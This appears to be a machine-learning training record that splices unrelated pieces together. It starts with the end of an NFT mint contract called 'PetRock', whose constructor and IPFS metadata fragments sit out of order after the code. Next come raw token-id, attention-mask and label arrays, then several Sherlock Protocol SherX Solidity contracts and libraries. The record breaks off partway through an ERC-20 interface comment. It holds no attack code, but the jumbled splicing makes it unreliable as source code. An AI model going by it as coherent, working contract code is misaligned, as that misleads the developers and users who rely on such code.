_caller = _msgSender(); require(!paused, "Paused"); require(maxSupply >= totalSupply() + _amount, "Exceeds max supply"); require(_amount > 0, "No 0 mints"); require(tx.origin == _caller, "No contracts"); require(addressMinted[msg.sender] + _amount <= maxPerWallet, "Exceeds max per wallet"); if(freeMaxSupply >= totalSupply()){require(maxPerTxFree >= _amount , "Excess max per free tx");} else{require(maxPerTx >= _amount , "Excess max per paid tx"); require(_amount * price == msg.value, "Invalid funds provided");} addressMinted[msg.sender] += _amount; _safeMint(_caller, _amount);} function withdraw() external onlyOwner {uint256 balance = address(this).balance; (bool success, ) = _msgSender().call{value: balance}(""); require(success, "Failed to send");} function setPrice(uint256 _price) public onlyOwner {price = _price;} function setMaxSupply(uint256 _maxSupply) public onlyOwner {maxSupply = _maxSupply;} function pause(bool _state) external onlyOwner {paused = _state;} function setRevealed(bool _state) public onlyOwner {revealed = _state;} function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {hiddenMetadataUri = _hiddenMetadataUri;} function setUriPrefix(string memory _uriPrefix) public onlyOwner {uriPrefix = _uriPrefix;} function setUriSuffix(string memory _uriSuffix) public onlyOwner {uriSuffix = _uriSuffix;} function _baseURI() internal view virtual override returns (string memory) {return uriPrefix;} function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token"); if (revealed == false) {return hiddenMetadataUri;} string memory currentbaseURI = _baseURI(); return bytes(currentbaseURI).length > 0 ? string(abi.encodePacked(currentbaseURI, _tokenId.toString(), uriSuffix)) : "";} function isApprovedForAll(address owner, address operator) override public view returns (bool) {ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(owner)) == operator) {return true;} return super.isApprovedForAll(owner, operator);}} contract OwnableDelegateProxy { } contract ProxyRegistry {mapping(address => OwnableDelegateProxy) public proxies;}
QmQBeRu65GgDymnHQf5a1Sco5WhQ7zHjrSuvubPBMgXwjw/hidden.json");}
constructor() ERC721A("PetRock", "PR") {setHiddenMetadataUri("ipfs:
10,572,954
[ 1, 53, 81, 53, 1919, 54, 89, 9222, 43, 75, 40, 2942, 82, 44, 53, 74, 25, 69, 21, 1541, 83, 25, 2888, 53, 27, 94, 44, 78, 86, 55, 16303, 373, 20724, 49, 75, 60, 91, 78, 91, 19, 6345, 18, 1977, 8863, 97, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 4232, 39, 27, 5340, 37, 2932, 52, 278, 54, 975, 3113, 315, 8025, 7923, 288, 542, 9345, 2277, 3006, 2932, 625, 2556, 30, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: GPL-2.0-or-later pragma solidity 0.7.6; /******************************************************************************\ * Author: Evert Kors <[email protected]> (https://twitter.com/evert0x) * Sherlock Protocol: https://sherlock.xyz /******************************************************************************/ import '../interfaces/ISherX.sol'; import '../storage/SherXERC20Storage.sol'; import '../libraries/LibPool.sol'; import '../libraries/LibSherX.sol'; import '../libraries/LibSherXERC20.sol'; contract SherX is ISherX { using SafeMath for uint256; using SafeERC20 for IERC20; // // Modifiers // modifier onlyGovMain() { require(msg.sender == GovStorage.gs().govMain, 'NOT_GOV_MAIN'); _; } // // View methods // function getTotalUsdPerBlock() external view override returns (uint256) { return SherXStorage.sx().totalUsdPerBlock; } function getTotalUsdPoolStored() external view override returns (uint256) { return SherXStorage.sx().totalUsdPool; } function getTotalUsdPool() external view override returns (uint256) { return LibSherX.viewAccrueUSDPool(); } function getTotalUsdLastSettled() external view override returns (uint256) { return SherXStorage.sx().totalUsdLastSettled; } function getStoredUsd(IERC20 _token) external view override returns (uint256) { return SherXStorage.sx().tokenUSD[_token]; } function getUnmintedSherX(IERC20 _token) internal view returns (uint256) { return LibPool.getTotalUnmintedSherX(_token); } function getTotalSherXUnminted() external view override returns (uint256) { SherXStorage.Base storage sx = SherXStorage.sx(); GovStorage.Base storage gs = GovStorage.gs(); uint256 total = block .number .sub(gs.watsonsSherxLastAccrued) .mul(sx.sherXPerBlock) .mul(gs.watsonsSherxWeight) .div(type(uint16).max); for (uint256 i; i < gs.tokensStaker.length; i++) { total = total.add(getUnmintedSherX(gs.tokensStaker[i])); } return total; } function getTotalSherX() external view override returns (uint256) { return LibSherX.getTotalSherX(); } function getSherXPerBlock() external view override returns (uint256) { return SherXStorage.sx().sherXPerBlock; } function getSherXBalance() external view override returns (uint256) { return getSherXBalance(msg.sender); } function getSherXBalance(address _user) public view override returns (uint256) { SherXERC20Storage.Base storage sx20 = SherXERC20Storage.sx20(); uint256 balance = sx20.balances[_user]; GovStorage.Base storage gs = GovStorage.gs(); for (uint256 i; i < gs.tokensStaker.length; i++) { balance = balance.add(LibPool.getUnallocatedSherXFor(_user, gs.tokensStaker[i])); } return balance; } function getInternalTotalSupply() external view override returns (uint256) { return SherXStorage.sx().internalTotalSupply; } function getInternalTotalSupplySettled() external view override returns (uint256) { return SherXStorage.sx().internalTotalSupplySettled; } function calcUnderlying() external view override returns (IERC20[] memory tokens, uint256[] memory amounts) { return calcUnderlying(msg.sender); } function calcUnderlying(address _user) public view override returns (IERC20[] memory tokens, uint256[] memory amounts) { return LibSherX.calcUnderlying(getSherXBalance(_user)); } function calcUnderlying(uint256 _amount) external view override returns (IERC20[] memory tokens, uint256[] memory amounts) { return LibSherX.calcUnderlying(_amount); } function calcUnderlyingInStoredUSD() external view override returns (uint256) { SherXERC20Storage.Base storage sx20 = SherXERC20Storage.sx20(); return calcUnderlyingInStoredUSD(sx20.balances[msg.sender]); } function calcUnderlyingInStoredUSD(uint256 _amount) public view override returns (uint256 usd) { SherXStorage.Base storage sx = SherXStorage.sx(); GovStorage.Base storage gs = GovStorage.gs(); uint256 total = LibSherX.getTotalSherX(); if (total == 0) { return 0; } for (uint256 i; i < gs.tokensSherX.length; i++) { IERC20 token = gs.tokensSherX[i]; usd = usd.add( PoolStorage .ps(token) .sherXUnderlying .add(LibPool.getTotalAccruedDebt(token)) .mul(_amount) .mul(sx.tokenUSD[token]) .div(10**18) .div(total) ); } } // // State changing methods // function _beforeTokenTransfer( address from, address to, uint256 amount ) external override { doYield(ILock(msg.sender), from, to, amount); } function setInitialWeight() external override onlyGovMain { GovStorage.Base storage gs = GovStorage.gs(); require(gs.watsonsAddress != address(0), 'WATS_UNSET'); require(gs.watsonsSherxWeight == 0, 'ALREADY_INIT'); for (uint256 i; i < gs.tokensStaker.length; i++) { PoolStorage.Base storage ps = PoolStorage.ps(gs.tokensStaker[i]); require(ps.sherXWeight == 0, 'ALREADY_INIT_2'); } gs.watsonsSherxWeight = type(uint16).max; } function setWeights( IERC20[] memory _tokens, uint16[] memory _weights, uint256 _watsons ) external override onlyGovMain { require(_tokens.length == _weights.length, 'LENGTH'); // NOTE: can potentially be made more gas efficient // Do not loop over all staker tokens // But just over the tokens in the _tokens array LibSherX.accrueSherX(); GovStorage.Base storage gs = GovStorage.gs(); uint256 totalWeightNew; uint256 totalWeightOld; for (uint256 i; i < _tokens.length; i++) { PoolStorage.Base storage ps = PoolStorage.ps(_tokens[i]); // Disabled tokens can not have ps.sherXWeight != 0 require(ps.stakes, 'DISABLED'); totalWeightNew = totalWeightNew.add(_weights[i]); totalWeightOld = totalWeightOld.add(ps.sherXWeight); ps.sherXWeight = _weights[i]; } if (_watsons != type(uint256).max) { totalWeightNew = totalWeightNew.add(uint16(_watsons)); totalWeightOld = totalWeightOld.add(gs.watsonsSherxWeight); gs.watsonsSherxWeight = uint16(_watsons); } require(totalWeightNew == totalWeightOld, 'SUM'); } function harvest() external override { harvestFor(msg.sender); } function harvest(ILock _token) external override { harvestFor(msg.sender, _token); } function harvest(ILock[] calldata _tokens) external override { for (uint256 i; i < _tokens.length; i++) { harvestFor(msg.sender, _tokens[i]); } } function harvestFor(address _user) public override { GovStorage.Base storage gs = GovStorage.gs(); uint256 length = gs.tokensStaker.length; for (uint256 i; i < length; i++) { PoolStorage.Base storage ps = PoolStorage.ps(gs.tokensStaker[i]); harvestFor(_user, ps.lockToken); } } function harvestFor(address _user, ILock _token) public override { // could potentially call harvest function for token that are not in the pool // if balance != 0, tx will revert uint256 stakeBalance = _token.balanceOf(_user); if (stakeBalance != 0) { doYield(_token, _user, _user, 0); } emit Harvest(_user, _token); } function harvestFor(address _user, ILock[] calldata _tokens) external override { for (uint256 i; i < _tokens.length; i++) { harvestFor(_user, _tokens[i]); } } function redeem(uint256 _amount, address _receiver) external override { require(_amount != 0, 'AMOUNT'); require(_receiver != address(0), 'RECEIVER'); SherXStorage.Base storage sx = SherXStorage.sx(); LibSherX.accrueUSDPool(); // Note: LibSherX.accrueSherX() is removed as the calcUnderlying already takes it into consideration (without changing state) // Calculate the current `amounts` of underlying `tokens` for `_amount` of SherX (IERC20[] memory tokens, uint256[] memory amounts) = LibSherX.calcUnderlying(_amount); LibSherXERC20.burn(msg.sender, _amount); uint256 subUsdPool = 0; for (uint256 i; i < tokens.length; i++) { PoolStorage.Base storage ps = PoolStorage.ps(tokens[i]); // Expensive operation, only execute to prevent tx reverts if (amounts[i] > ps.sherXUnderlying) { LibPool.payOffDebtAll(tokens[i]); } // Remove the token as underlying of SherX ps.sherXUnderlying = ps.sherXUnderlying.sub(amounts[i]); // As the tokens are transferred, remove from the current usdPool // By summing the total that needs to be deducted in the `subUsdPool` value subUsdPool = subUsdPool.add(amounts[i].mul(sx.tokenUSD[tokens[i]]).div(10**18)); tokens[i].safeTransfer(_receiver, amounts[i]); } sx.totalUsdPool = sx.totalUsdPool.sub(subUsdPool); LibSherX.settleInternalSupply(_amount); } function accrueSherX() external override { LibSherX.accrueSherX(); } function accrueSherX(IERC20 _token) external override { LibSherX.accrueSherX(_token); } function accrueSherXWatsons() external override { LibSherX.accrueSherXWatsons(); } /// @notice The `from` account could earn SHERX by holding `token` overtime, the earned amount will be staked. /// @param token The LockToken that could be eligble for SHERX rewards /// @param from The current account that is holding the tokens /// @param to The new account that will be holding the tokens /// @param amount The amount of tokens being transferred function doYield( ILock token, address from, address to, uint256 amount ) private { // The LockToken represents a token staked in the solution. // Verify if the right LockToken is used. IERC20 underlying = token.underlying(); PoolStorage.Base storage ps = PoolStorage.ps(underlying); require(ps.lockToken == token, 'SENDER'); LibSherX.accrueSherX(underlying); uint256 userAmount = ps.lockToken.balanceOf(from); uint256 totalAmount = ps.lockToken.totalSupply(); uint256 ineligible_yield_amount; if (totalAmount != 0) { // Is `amount` instead of `userAmount` as the `ineligible_yield_amount` is 'transferred' to `to` ineligible_yield_amount = ps.sWeight.mul(amount).div(totalAmount); } else { ineligible_yield_amount = amount; } if (from != address(0)) { uint256 raw_amount = ps.sWeight.mul(userAmount).div(totalAmount); uint256 withdrawable_amount = raw_amount.sub(ps.sWithdrawn[from]); if (withdrawable_amount != 0) { // store the data in a single calc ps.sWithdrawn[from] = raw_amount.sub(ineligible_yield_amount); // The `withdrawable_amount` is allocated to `from`, subtract from `unallocatedSherX` ps.unallocatedSherX = ps.unallocatedSherX.sub(withdrawable_amount); PoolStorage.Base storage psSherX = PoolStorage.ps(IERC20(address(this))); if (from == address(this)) { // add SherX harvested by the pool itself to first money out pool. psSherX.stakeBalance = psSherX.stakeBalance.add(withdrawable_amount); psSherX.firstMoneyOut = psSherX.firstMoneyOut.add(withdrawable_amount); } else { LibPool.stake(psSherX, withdrawable_amount, from); } } else { ps.sWithdrawn[from] = ps.sWithdrawn[from].sub(ineligible_yield_amount); } } else { ps.sWeight = ps.sWeight.add(ineligible_yield_amount); } if (to != address(0)) { ps.sWithdrawn[to] = ps.sWithdrawn[to].add(ineligible_yield_amount); } else { ps.sWeight = ps.sWeight.sub(ineligible_yield_amount); } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity 0.7.6; /******************************************************************************\ * Author: Evert Kors <[email protected]> (https://twitter.com/evert0x) * Sherlock Protocol: https://sherlock.xyz /******************************************************************************/ import '../interfaces/ILock.sol'; /// @title SHERX Logic Controller /// @author Evert Kors /// @notice This contract is used to manage functions related to the SHERX token /// @dev Contract is meant to be included as a facet in the diamond interface ISherX { // // Events // /// @notice Sends an event whenever a staker "harvests" earned SHERX /// @notice Harvesting is when SHERX "interest" is staked in the SHERX pool /// @param user Address of the user for whom SHERX is harvested /// @param token Token which had accumulated the harvested SHERX event Harvest(address indexed user, IERC20 indexed token); // // View methods // /// @notice Returns the USD amount of tokens being added to the SHERX pool each block /// @return USD amount added to SHERX pool per block function getTotalUsdPerBlock() external view returns (uint256); /// @notice Returns the internal USD amount of tokens represented by SHERX /// @return Last stored value of total internal USD underlying SHERX function getTotalUsdPoolStored() external view returns (uint256); /// @notice Returns the total USD amount of tokens represented by SHERX /// @return Current total internal USD underlying SHERX function getTotalUsdPool() external view returns (uint256); /// @notice Returns block number at which the total USD underlying SHERX was last stored /// @return Block number for stored USD underlying SHERX function getTotalUsdLastSettled() external view returns (uint256); /// @notice Returns stored USD amount for `_token` /// @param _token Token used for protocol premiums /// @return Stored USD amount function getStoredUsd(IERC20 _token) external view returns (uint256); /// @notice Returns SHERX that has not been minted yet /// @return Unminted amount of SHERX tokens function getTotalSherXUnminted() external view returns (uint256); /// @notice Returns total amount of SHERX, including unminted /// @return Total amount of SHERX tokens function getTotalSherX() external view returns (uint256); /// @notice Returns the amount of SHERX created per block /// @return SHERX per block function getSherXPerBlock() external view returns (uint256); /// @notice Returns the total amount of SHERX accrued by the sender /// @return Total SHERX balance function getSherXBalance() external view returns (uint256); /// @notice Returns the amount of SHERX accrued by `_user` /// @param _user address to get the SHERX balance of /// @return Total SHERX balance function getSherXBalance(address _user) external view returns (uint256); /// @notice Returns the total supply of SHERX from storage (only used internally) /// @return Total supply of SHERX function getInternalTotalSupply() external view returns (uint256); /// @notice Returns the block number when total SHERX supply was last set in storage /// @return block number of last write to storage for the total SHERX supply function getInternalTotalSupplySettled() external view returns (uint256); /// @notice Returns the tokens and amounts underlying msg.sender's SHERX balance /// @return tokens Array of ERC-20 tokens representing the underlying /// @return amounts Corresponding amounts of the underlying tokens function calcUnderlying() external view returns (IERC20[] memory tokens, uint256[] memory amounts); /// @notice Returns the tokens and amounts underlying `_user` SHERX balance /// @param _user Account whose underlying SHERX tokens should be queried /// @return tokens Array of ERC-20 tokens representing the underlying /// @return amounts Corresponding amounts of the underlying tokens function calcUnderlying(address _user) external view returns (IERC20[] memory tokens, uint256[] memory amounts); /// @notice Returns the tokens and amounts underlying the given amount of SHERX /// @param _amount Amount of SHERX tokens to calculate the underlying tokens of /// @return tokens Array of ERC-20 tokens representing the underlying /// @return amounts Corresponding amounts of the underlying tokens function calcUnderlying(uint256 _amount) external view returns (IERC20[] memory tokens, uint256[] memory amounts); /// @notice Returns the internal USD amount underlying senders SHERX /// @return USD value of SHERX accrued to sender function calcUnderlyingInStoredUSD() external view returns (uint256); /// @notice Returns the internal USD amount underlying the given amount SHERX /// @param _amount Amount of SHERX tokens to find the underlying USD value of /// @return usd USD value of the given amount of SHERX function calcUnderlyingInStoredUSD(uint256 _amount) external view returns (uint256 usd); // // State changing methods // /// @notice Function called by lockTokens before transfer /// @param from Address from which lockTokens are being transferred /// @param to Address to which lockTokens are being transferred /// @param amount Amount of lockTokens to be transferred function _beforeTokenTransfer( address from, address to, uint256 amount ) external; /// @notice Set initial SHERX distribution to Watsons function setInitialWeight() external; /// @notice Set SHERX distribution /// @param _tokens Array of tokens to set the weights of /// @param _weights Respective weighting for each token /// @param _watsons Weighting to set for the Watsons function setWeights( IERC20[] memory _tokens, uint16[] memory _weights, uint256 _watsons ) external; /// @notice Harvest all tokens on behalf of the sender function harvest() external; /// @notice Harvest `_token` on behalf of the sender /// @param _token Token to harvest accrued SHERX for function harvest(ILock _token) external; /// @notice Harvest `_tokens` on behalf of the sender /// @param _tokens Array of tokens to harvest accrued SHERX for function harvest(ILock[] calldata _tokens) external; /// @notice Harvest all tokens for `_user` /// @param _user Account for which to harvest SHERX function harvestFor(address _user) external; /// @notice Harvest `_token` for `_user` /// @param _user Account for which to harvest SHERX /// @param _token Token to harvest function harvestFor(address _user, ILock _token) external; /// @notice Harvest `_tokens` for `_user` /// @param _user Account for which to harvest SHERX /// @param _tokens Array of tokens to harvest accrued SHERX for function harvestFor(address _user, ILock[] calldata _tokens) external; /// @notice Redeems SHERX tokens for the underlying collateral /// @param _amount Amount of SHERX tokens to redeem /// @param _receiver Address to send redeemed tokens to function redeem(uint256 _amount, address _receiver) external; /// @notice Accrue SHERX based on internal weights function accrueSherX() external; /// @notice Accrues SHERX to specific token /// @param _token Token to accure SHERX to. function accrueSherX(IERC20 _token) external; /// @notice Accrues SHERX to the Watsons. function accrueSherXWatsons() external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity 0.7.6; /******************************************************************************\ * Author: Evert Kors <[email protected]> (https://twitter.com/evert0x) * Sherlock Protocol: https://sherlock.xyz * Inspired by: https://github.com/pie-dao/PieVaults/blob/master/contracts/facets/ERC20/LibERC20Storage.sol /******************************************************************************/ library SherXERC20Storage { bytes32 constant SHERX_ERC20_STORAGE_POSITION = keccak256('diamond.sherlock.x.erc20'); struct Base { string name; string symbol; uint256 totalSupply; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowances; } function sx20() internal pure returns (Base storage sx20x) { bytes32 position = SHERX_ERC20_STORAGE_POSITION; assembly { sx20x.slot := position } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity 0.7.6; /******************************************************************************\ * Author: Evert Kors <[email protected]> (https://twitter.com/evert0x) * Sherlock Protocol: https://sherlock.xyz /******************************************************************************/ import '@openzeppelin/contracts/math/SafeMath.sol'; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/token/ERC20/SafeERC20.sol'; import '../storage/PoolStorage.sol'; import '../storage/SherXStorage.sol'; library LibPool { using SafeMath for uint256; using SafeERC20 for IERC20; using SafeERC20 for ILock; function stakeBalance(PoolStorage.Base storage ps) public view returns (uint256) { uint256 balance = ps.stakeBalance; if (address(ps.strategy) != address(0)) { balance = balance.add(ps.strategy.balanceOf()); } return balance.sub(ps.firstMoneyOut); } function accruedDebt(bytes32 _protocol, IERC20 _token) external view returns (uint256) { PoolStorage.Base storage ps = PoolStorage.ps(_token); return _accruedDebt(ps, _protocol, block.number.sub(ps.totalPremiumLastPaid)); } function getTotalAccruedDebt(IERC20 _token) external view returns (uint256) { PoolStorage.Base storage ps = PoolStorage.ps(_token); return _getTotalAccruedDebt(ps, block.number.sub(ps.totalPremiumLastPaid)); } function getTotalUnmintedSherX(IERC20 _token) public view returns (uint256 sherX) { PoolStorage.Base storage ps = PoolStorage.ps(_token); SherXStorage.Base storage sx = SherXStorage.sx(); sherX = block.number.sub(ps.sherXLastAccrued).mul(sx.sherXPerBlock).mul(ps.sherXWeight).div( type(uint16).max ); } function getUnallocatedSherXFor(address _user, IERC20 _token) external view returns (uint256 withdrawable_amount) { PoolStorage.Base storage ps = PoolStorage.ps(_token); uint256 userAmount = ps.lockToken.balanceOf(_user); uint256 totalAmount = ps.lockToken.totalSupply(); if (totalAmount == 0) { return 0; } uint256 raw_amount = ps.sWeight.add(getTotalUnmintedSherX(_token)).mul(userAmount).div(totalAmount); withdrawable_amount = raw_amount.sub(ps.sWithdrawn[_user]); } function stake( PoolStorage.Base storage ps, uint256 _amount, address _receiver ) external returns (uint256 lock) { uint256 totalLock = ps.lockToken.totalSupply(); if (totalLock == 0) { // mint initial lock lock = 10**18; } else { // mint lock based on funds in pool lock = _amount.mul(totalLock).div(stakeBalance(ps)); } ps.stakeBalance = ps.stakeBalance.add(_amount); ps.lockToken.mint(_receiver, lock); } function payOffDebtAll(IERC20 _token) external { PoolStorage.Base storage ps = PoolStorage.ps(_token); uint256 blocks = block.number.sub(ps.totalPremiumLastPaid); uint256 totalAccruedDebt; uint256 length = ps.protocols.length; for (uint256 i = 0; i < length; i++) { totalAccruedDebt = totalAccruedDebt.add(_payOffDebt(ps, ps.protocols[i], blocks)); } // move funds to the sherX etf ps.sherXUnderlying = ps.sherXUnderlying.add(totalAccruedDebt); ps.totalPremiumLastPaid = uint40(block.number); } function _payOffDebt( PoolStorage.Base storage ps, bytes32 _protocol, uint256 _blocks ) private returns (uint256 debt) { debt = _accruedDebt(ps, _protocol, _blocks); ps.protocolBalance[_protocol] = ps.protocolBalance[_protocol].sub(debt); } function _accruedDebt( PoolStorage.Base storage ps, bytes32 _protocol, uint256 _blocks ) private view returns (uint256) { return _blocks.mul(ps.protocolPremium[_protocol]); } function _getTotalAccruedDebt(PoolStorage.Base storage ps, uint256 _blocks) private view returns (uint256) { return _blocks.mul(ps.totalPremiumPerBlock); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity 0.7.6; /******************************************************************************\ * Author: Evert Kors <[email protected]> (https://twitter.com/evert0x) * Sherlock Protocol: https://sherlock.xyz /******************************************************************************/ import '../storage/PoolStorage.sol'; import '../storage/GovStorage.sol'; import './LibSherXERC20.sol'; import './LibPool.sol'; library LibSherX { using SafeMath for uint256; function viewAccrueUSDPool() public view returns (uint256 totalUsdPool) { SherXStorage.Base storage sx = SherXStorage.sx(); totalUsdPool = sx.totalUsdPool.add( block.number.sub(sx.totalUsdLastSettled).mul(sx.totalUsdPerBlock) ); } function accrueUSDPool() external returns (uint256 totalUsdPool) { SherXStorage.Base storage sx = SherXStorage.sx(); totalUsdPool = viewAccrueUSDPool(); sx.totalUsdPool = totalUsdPool; sx.totalUsdLastSettled = block.number; } function settleInternalSupply(uint256 _deduct) external { SherXStorage.Base storage sx = SherXStorage.sx(); sx.internalTotalSupply = getTotalSherX().sub(_deduct); sx.internalTotalSupplySettled = block.number; } function getTotalSherX() public view returns (uint256) { // calc by taking base supply, block at, and calc it by taking base + now - block_at * sherxperblock // update baseSupply on every premium update SherXStorage.Base storage sx = SherXStorage.sx(); return sx.internalTotalSupply.add( block.number.sub(sx.internalTotalSupplySettled).mul(sx.sherXPerBlock) ); } function calcUnderlying(uint256 _amount) external view returns (IERC20[] memory tokens, uint256[] memory amounts) { GovStorage.Base storage gs = GovStorage.gs(); uint256 length = gs.tokensSherX.length; tokens = gs.tokensSherX; amounts = new uint256[](length); uint256 total = getTotalSherX(); for (uint256 i; i < length; i++) { IERC20 token = gs.tokensSherX[i]; if (total != 0) { PoolStorage.Base storage ps = PoolStorage.ps(token); amounts[i] = ps.sherXUnderlying.add(LibPool.getTotalAccruedDebt(token)).mul(_amount).div( total ); } } } function accrueSherX(IERC20 _token) external { SherXStorage.Base storage sx = SherXStorage.sx(); uint256 sherX = _accrueSherX(_token, sx.sherXPerBlock); if (sherX != 0) { LibSherXERC20.mint(address(this), sherX); } } function accrueSherXWatsons() external { SherXStorage.Base storage sx = SherXStorage.sx(); _accrueSherXWatsons(sx.sherXPerBlock); } function accrueSherX() external { // loop over pools, increase the pool + pool_weight based on the distribution weights SherXStorage.Base storage sx = SherXStorage.sx(); GovStorage.Base storage gs = GovStorage.gs(); uint256 sherXPerBlock = sx.sherXPerBlock; uint256 sherX; uint256 length = gs.tokensStaker.length; for (uint256 i; i < length; i++) { sherX = sherX.add(_accrueSherX(gs.tokensStaker[i], sherXPerBlock)); } if (sherX != 0) { LibSherXERC20.mint(address(this), sherX); } _accrueSherXWatsons(sherXPerBlock); } function _accrueSherXWatsons(uint256 sherXPerBlock) private { GovStorage.Base storage gs = GovStorage.gs(); uint256 sherX = block .number .sub(gs.watsonsSherxLastAccrued) .mul(sherXPerBlock) .mul(gs.watsonsSherxWeight) .div(type(uint16).max); // need to settle before return, as updating the sherxperlblock/weight // after it was 0 will result in a too big amount (accured will be < block.number) gs.watsonsSherxLastAccrued = uint40(block.number); if (sherX == 0) { return; } LibSherXERC20.mint(gs.watsonsAddress, sherX); } function _accrueSherX(IERC20 _token, uint256 sherXPerBlock) private returns (uint256 sherX) { PoolStorage.Base storage ps = PoolStorage.ps(_token); uint256 lastAccrued = ps.sherXLastAccrued; if (lastAccrued == block.number) { return 0; } sherX = block.number.sub(lastAccrued).mul(sherXPerBlock).mul(ps.sherXWeight).div( type(uint16).max ); // need to settle before return, as updating the sherxperlblock/weight // after it was 0 will result in a too big amount (accured will be < block.number) ps.sherXLastAccrued = uint40(block.number); if (address(_token) == address(this)) { ps.stakeBalance = ps.stakeBalance.add(sherX); } else { ps.unallocatedSherX = ps.unallocatedSherX.add(sherX); ps.sWeight = ps.sWeight.add(sherX); } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity 0.7.6; /******************************************************************************\ * Author: Evert Kors <[email protected]> (https://twitter.com/evert0x) * Sherlock Protocol: https://sherlock.xyz * Inspired by: https://github.com/pie-dao/PieVaults/blob/master/contracts/facets/ERC20/LibERC20.sol /******************************************************************************/ import '@openzeppelin/contracts/math/SafeMath.sol'; import '../storage/SherXERC20Storage.sol'; library LibSherXERC20 { using SafeMath for uint256; // Need to include events locally because `emit Interface.Event(params)` does not work event Transfer(address indexed from, address indexed to, uint256 amount); function mint(address _to, uint256 _amount) internal { SherXERC20Storage.Base storage sx20 = SherXERC20Storage.sx20(); sx20.balances[_to] = sx20.balances[_to].add(_amount); sx20.totalSupply = sx20.totalSupply.add(_amount); emit Transfer(address(0), _to, _amount); } function burn(address _from, uint256 _amount) internal { SherXERC20Storage.Base storage sx20 = SherXERC20Storage.sx20(); sx20.balances[_from] = sx20.balances[_from].sub(_amount); sx20.totalSupply = sx20.totalSupply.sub(_amount); emit Transfer(_from, address(0), _amount); } function approve( address _from, address _to, uint256 _amount ) internal returns (bool) { SherXERC20Storage.sx20().allowances[_from][_to] = _amount; return true; } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity 0.7.6; /******************************************************************************\ * Author: Evert Kors <[email protected]> (https://twitter.com/evert0x) * Sherlock Protocol: https://sherlock.xyz /******************************************************************************/ import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; /// @title Lock Token /// @author Evert Kors /// @notice Lock tokens represent a stake in Sherlock interface ILock is IERC20 { /// @notice Returns the owner of this contract /// @return Owner address /// @dev Should be equal to the Sherlock address function getOwner() external view returns (address); /// @notice Returns token it represents /// @return Token address function underlying() external view returns (IERC20); /// @notice Mint `_amount` tokens for `_account` /// @param _account Account to receive tokens /// @param _amount Amount to be minted function mint(address _account, uint256 _amount) external; /// @notice Burn `_amount` tokens for `_account` /// @param _account Account to be burned /// @param _amount Amount to be burned function burn(address _account, uint256 _amount) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that 